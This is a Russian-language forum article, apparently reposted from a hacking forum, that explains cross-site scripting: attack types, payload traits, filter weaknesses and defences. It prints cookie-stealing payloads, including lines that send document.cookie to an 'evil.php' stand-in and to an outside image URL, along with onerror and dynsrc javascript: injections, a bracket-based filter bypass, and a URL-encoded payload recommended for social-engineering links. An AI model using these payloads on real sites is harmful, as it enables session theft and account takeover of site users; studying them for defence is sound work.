Детальный разбор xss уязвимостей

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Авторство: hackeryaroslav​

Источник: xss.is​


Введение

Межсайтовый скриптинг (XSS) - это широко распространенная атака, затрагивающая множество веб-сайтов и веб-приложений. За последние годы XSS-уязвимости значительно эволюционировали. Увеличивается количество уязвимостей на основе DOM, mXSS-уязвимостей и XSS-атак на основе языка выражений.

Характерной чертой XSS-атаки является внедрение вредоносного кода на страницу сайта, которую посещает пользователь, взаимодействуя с сервером атакующего. Атаки осуществляются путем заманивания пользователя на зараженный сайт с помощью социальной инженерии, ожидания, пока пользователь сам посетит сайт и т.д. Результатами XSS-атак являются: перенаправление пользователей на вредоносные сайты; кража cookies или учетных данных; модификация данных; подмена ссылок или показ собственной рекламы на сайте; разрушение сайта.

Разработчики часто не обращают внимания на опасность XSS-атак, поскольку они обычно не требуют особого взаимодействия с пользователем, а лишь посещения зараженного сайта.

Основная цель XSS-атаки - кража cookies пользователей с целью дальнейшего получения информации и использования ее для последующих атак. Хакер атакует пользователя не напрямую, а через уязвимость посещаемого им сайта путем внедрения JavaScript подобных кода. Исполняемый код XSS обычно пишется на популярных языках программирования, таких как JavaScript, Vbscript и других. Пользователь видит этот код в браузере как часть сайта. Посещаемый ресурс является проводником для XSS-атаки. Если атакующему попадет в cookies администратора, он сможет получить доступ к панели управления сайтом или к его содержимому.

По сравнению с SQL-инъекциями, XSS-атака безопасна для сервера, но представляет угрозу для пользователей зараженных страниц. В то время как SQL-инъекции атакуют информацию базы данных с задней стороны сайта, XSS-атаки направлены на кражу данных с передней стороны сайта. По данным OWASP, следующий синтаксис может быть использован для проведения XSS-атаки с целью кражи данных cookie, если не используется валидация входных данных:

JavaScript: Скопировать в буфер обмена
Код:
<script type="text/javascript">
Var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</script>

Межсайтовое выполнение сценариев — самая популярная уязвимость​

При обнаружении уязвимостей нулевого дня экспертам Positive Technologies в 19% случаев встретилась возможность межсайтового выполнения сценариев (cross-site scripting, XSS). В процессе такого рода атак в браузере пользователей может быть исполнен подготовленный злоумышленником произвольный код. Атакующие могут загружать вредоносное ПО на пользовательские устройства, перенаправлять клиентов веб-приложений на фишинговые сайты, а также выдавать себя за других пользователей. По данным Positive Technologies, также встречаются атаки, направленные на получение информации о веб приложениях, а также многочисленные попытки получить доступ к .svn или каталоги .git, в которых хранится текущий исходный код приложения.

Примером может служить кража данных клиентов авиакомпании British Airways в августе и сентябре 2018 года. Злоумышленники модифицировали скрипт на сайте компании, добавив в него собственный код(так называемый JS sniffer), что привело к краже данных, в том числе информации о картах примерно 380 000 клиентов.

На изображении показана процент атаки с помощью XSS по отраслям:

Screenshot 2024-01-01 193654.png
Реализация XSS-атак

Реализация XSS-атаки и внедрение вредоносного JavaScript кода возможны только в браузере пользователя, поэтому сайт, который он посещает, должен быть уязвимым. Для осуществления атаки атакующий первоначально проверяет ресурсы на наличие XSS-уязвимости с помощью автоматизированных скриптов или ручного поиска. Обычно это стандартные формы, которые могут отправлять и получать запросы (комментарии, поиск, обратная связь и т. д.).Страницы с формами ввода собираются, и каждая из них сканируется на наличие уязвимости. Например, если на странице сайта есть "поиск", то для подтверждения XSS уязвимости достаточно следующего запроса:

JavaScript: Скопировать в буфер обмена
<script>alert("куки: "+document.cookie)

Screenshot 2024-01-01 194455.png
1 - Инъекция с помощью скрипта 2 - Посетитель 3 - Скрипт инъекции 4 - Вредоносное действие


Текстовые символы, часто встречающиеся во вредоносном коде, часто сочетаются с определенными фиксированными символами. Поэтому сопоставление комбинированной формы может уменьшить ложных срабатываний по сравнению с просто сопоставлением текстовых символов. Следующие семь атрибутов:

1 HTML_теги
HTML теги в атаках XSS обычно встречаются чаще, чем текстовая нагрузка в обычном трафике. В HTML-тегах метка начинается с левой угловой скобки. Например, <script>, <iframe> и <img>.

2 JavaScript
Псевдопротокол JavaScript обычно комбинируется с HTML-тегами для формирования вредоносного кода, например
HTML: Скопировать в буфер обмена
<iframe src="javascript:alert('xss')">
где в качестве элемента кода всегда будет отображаться "javascript:".

3 Функция тела
Можно использовать некоторые "опасные функции" в JavaScript для кражи конфиденциальной информации. Например, функция alert() часто используется для вывода диалогового окна. Если мы объединим ее с объектом document, то может быть достигнута цель кражи cookies. Код тела функции JavaScript - alert(), который явно отличается от обычных символов.

4 On_Event
HTML5 позволяет браузерам запускать скрипты через различные события. Например, в коде
HTML: Скопировать в буфер обмена
<img src=#onerror="alert(document.cookie)">
мы намеренно устанавливаем неверный атрибут src тега img, а затем используем событие onerror (запуск скрипта при возникновении ошибки) для вызова вредоносного скрипта. Таким образом, функция alert срабатывает, что приводит к утечке cookie. Особенности атрибута event заключаются в том, что форма события on-event, за которой следует знак равенства, например "onerror=".

5 Third_Party_Links
Для того чтобы лучше скрыть атаки межсайтового скриптинга, опытные форумчане xss.is создают сервер XSS-атак для получения и хранения украденной конфиденциальной информации. В результате в трафике атак будут присутствовать сторонние ссылки, которые в основном характеризуются сочетанием src или href и сторонних ссылок.

6 Объект_документа
Объект document является корневым узлом HTML-документа. Мы можем использовать свойство document.write для записи JavaScript-кода в документ или использовать document.cookie для возврата всех cookies, связанных с текущим документом. Свойство кода является document.

7 Разделитель
Разделители, такие как пробелы, неизбежно используются внутри HTML-тегов в силу грамматической природы HTML. Поэтому мы должны использовать разделители для построения атак при эксплуатации уязвимостей межсайтового скриптинга. "Пробел", "/", и "+" известны как разделители для вредоносного кода.

Еще один возможный вариант поиска уязвимостей - использование страниц, обрабатывающих GET-запросы. Если у нас есть запрос типа: http://example.com/search?page=1 В адресной строке вместо идентификатора (1) добавляется скрипт и помещает его в качестве модифицированного URL в ответ на запрос пользователя уязвимостей, и если ни одна из них не показывает, что сайт уязвим, значит, ресурс защищен от подобных атак

Классификация XSS-атак

XSS-атаки разделяются на три основных типа: постоянные XSS, непостоянные XSS и DOM-based XSS
  • DOM-based XSS: DOM-based XSS происходит, когда внедренные данные остаются в браузере и воздействуют на среду DOM. В данной модели могут использоваться как отраженный XSS, так и хранимый XSS. Для реализации DOM-based XSS создается URL-адрес с вредоносным кодом и отправляется пользователю. При переходе по ссылке пользователь активирует вредоносный код, что приводит к выполнению скрипта и получению cookies.
  • Отраженный (непостоянный) XSS: В отраженных XSS-атаках внедренный код не хранится на веб-сервере. Вредоносный код выполняется сразу после внедрения и действует как запрос пользователя к зараженному веб-сайту. Создается URL-ссылка с вредоносным кодом, отправляется ее пользователю, и после перехода по ссылке, сайт автоматически извлекает данные из кода, таким образом, происходит кража cookies.
  • Сохраненный (постоянный) XSS: При постоянных XSS-атаках данные хранятся в приложении и извлекаются в другом контексте, например, в профиле пользователя. Это позволяет получить доступ к серверу и управлять вредоносным кодом, что делает этот тип атаки одним из самых опасных.
  • Многошаговый XSS: Многошаговый XSS требует от пользователя выполнения определенного действия в приложении. Это повышает уязвимость до более серьезного уровня, и обнаружение угроз второго порядка становится критически важным для обеспечения безопасности веб-приложений.
  • mXSS (модификация XSS): Атака mXSS характеризуется внедрением кода, который кажется безопасным, но изменяется и модифицируется в браузере при обработке HTML-структуры страницы. Обнаружение и обезвреживание атак mXSS представляют собой сложную задачу, так как они трудно выявляются с помощью логики веб-сайта.
Также, существует два основных типа XSS-атак по механизму выполнения: пассивная и активная. Пассивная XSS-атака требует определенных действий от пользователя, в то время как активная XSS-атака не требует вмешательства пользователя и встраивается в базы данных или исполняемые файлы на сервере, что делает ее более автоматизированной, но менее сложной для осуществления. Примером такого скрипта является:

JavaScript: Скопировать в буфер обмена
Код:
Img = new image()
Img.src = http://site.gif?+document.cookie


Исследование корпоративных веб-сайтов на предмет XSS-атак позволило выявить несколько важных результатов и предложить рекомендации по их предотвращению. Объектом исследования стали корпоративные веб-сайты, а методы социальной инженерии использовались для внедрения ссылок с вредоносным кодом на хостинг сайтов. Это позволило провести анализ уязвимостей и выделить следующие ключевые моменты:
  1. Уязвимость сайтов: Примерно 4% сайтов не фильтруют вводимые данными пользователей, 3% не распознают встроенные XSS-конструкции, и 8% не распознают XSS-атаки в кодировке URL. Однако, более 85% сайтов оказались хорошо защищены от XSS-атак.
  2. Рекомендуется использовать специализированные сервисы для быстрой проверки сайтов на наличие XSS-уязвимостей. Такие сервисы, например, http://xss-scanner.com (не реклама:(), автоматически сканируют страницы. Однако, ручная проверка также является важным этапом, исключая опасные символы и заменяя их на безопасные <,>, `,', которые содержат все html запросы и теги, зарезервированные языком.
  3. Минимальный фильтр защищает от любительских атак, но для более серьезной защиты сайта требуется более детальная фильтрация данных. Фильтр должен быть рассчитан на распознавание встраиваемых конструкций. Например, во встраиваемых конструкциях вредоносный JavaScript размещается на самом нижнем уровне. Фильтр блокирует верхний уровень, но нижний выполняется. При отправке данных с неправильно закрытыми скобками, например:
    JavaScript: Скопировать в буфер обмена
    script{(alert("cookie: "+document.cookie))}
    фильтр видит это и пытается закрыть их, но код вставки выполняется. Этот запрос не только проверяет фильтр на разное количество скобок, но и определяет, как фильтр реагирует на разные символы: блокирует их или пропускает. Некоторые сайты не фильтруют этот тип атак.
  4. Еще одна уязвимость связана с тегом img. Этот тег имеет множество параметров, в том числе dynsrc, который может содержать javascript. Этот тег необходимо фильтровать. Если фотографии не будут использоваться на сайте, лучше их исключить. Пример использования:
    JavaScript: Скопировать в буфер обмена
    Код:
    <img src="http://example.com/picture.jpg"
    dynsrc="
    javascript:alert(document.cookie)">
    При создании фильтра необходимо учитывать возможность кодирующих атак. Существует ряд программ шифровальщиков, которые шифруют атаку так, что фильтр не может ее распознать. В этом случае необходимо использовать алгоритм расшифровки фильтра до того, как программа выполнит код запроса. Приведенный выше пример можно закодировать в нотации URL следующим образом:
    JavaScript: Скопировать в буфер обмена
    %3Cimg%20src%3D%22http%3A%2F%2Fexample.com%2Fpicture.jpg%22%20%0Adynsrc%3D%22%20javascript%3Aalert%28document.cookie%29%22%3E%0A

Кодировка нужна не только для обхода фильтра, но и для социальной инженерии. Закодированный код можно отправить в виде ссылки. Маловероятно, что кто-то будет ее проверять


Как форумчанам живется в первый день января 2024 года?:smile10:

Дорогие форумчане, как проходит ваш первый день нового года? Какие у вас планы и надежды на грядущий год? Делитесь своими впечатлениями и пожеланиями! Спасибо за чтение данной статьи, потратив почти целый день первого дня года, надеюсь вам она понравилась.
 
Сверху Снизу